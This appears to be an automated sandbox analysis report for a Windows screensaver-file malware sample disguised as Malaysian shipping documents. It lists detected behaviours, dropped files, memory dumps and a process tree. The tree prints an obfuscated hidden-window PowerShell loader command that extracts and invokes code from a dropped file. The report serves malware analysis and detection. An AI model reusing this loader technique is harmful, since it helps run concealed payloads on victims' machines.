Analysis
- max time kernel
137s - max time network
106s - platform
windows10-2004_x64 - resource
win10v2004-20240802-en - resource tags
- submitted
29/08/2024, 15:33
General
- Target Docs_27109265_20242908_SHT0178727_MALAYSIA-8135621.scr
- Size 715KB
- Sample240829-szbhrayfkh
- SHA256 81d75d4d1dbd3efb6ef4b293968359b8fa4d2e994efa15e16fd368dc73f6d5f7
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Loads dropped DLL 4 IoCs
- Drops file in Windows directory 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 1 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Docs_27109265_20242908_SHT0178727_MALAYSIA-8135621.scr"C:\Users\Admin\AppData\Local\Temp\Docs_27109265_20242908_SHT0178727_MALAYSIA-8135621.scr" /S1⤵
- Checks computer location settings
- Loads dropped DLL
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden ; $Fldebollens=Get-Content 'C:\Users\Admin\AppData\Roaming\overrisledes\Antivenins\rie\Tildmte.Amm';$Steddatterens=$Fldebollens.SubString(6849,3);.$Steddatterens($Fldebollens)2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1504 -s 26043⤵
- Program crash
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1504 -ip 15041⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_yb2se43n.ow3.ps1
Banner.dll
BgImage.dll
nsDialogs.dll
Tildmte.Amm
memory/1504-38-0x0000000005FC0000-0x0000000006026000-memory.dmp
memory/1504-50-0x0000000006740000-0x000000000678C000-memory.dmp
memory/1504-35-0x0000000075090000-0x0000000075840000-memory.dmp
memory/1504-36-0x0000000005750000-0x0000000005772000-memory.dmp
memory/1504-37-0x0000000005F50000-0x0000000005FB6000-memory.dmp
memory/1504-34-0x0000000075090000-0x0000000075840000-memory.dmp
memory/1504-32-0x0000000003110000-0x0000000003146000-memory.dmp
memory/1504-48-0x0000000006350000-0x00000000066A4000-memory.dmp
memory/1504-49-0x00000000066F0000-0x000000000670E000-memory.dmp
memory/1504-33-0x00000000057B0000-0x0000000005DD8000-memory.dmp
memory/1504-51-0x00000000076F0000-0x0000000007786000-memory.dmp
memory/1504-52-0x0000000006C50000-0x0000000006C6A000-memory.dmp
memory/1504-53-0x0000000006C70000-0x0000000006C92000-memory.dmp
memory/1504-54-0x0000000007D40000-0x00000000082E4000-memory.dmp
memory/1504-31-0x000000007509E000-0x000000007509F000-memory.dmp
memory/1504-56-0x0000000008970000-0x0000000008FEA000-memory.dmp
memory/1504-57-0x0000000075090000-0x0000000075840000-memory.dmp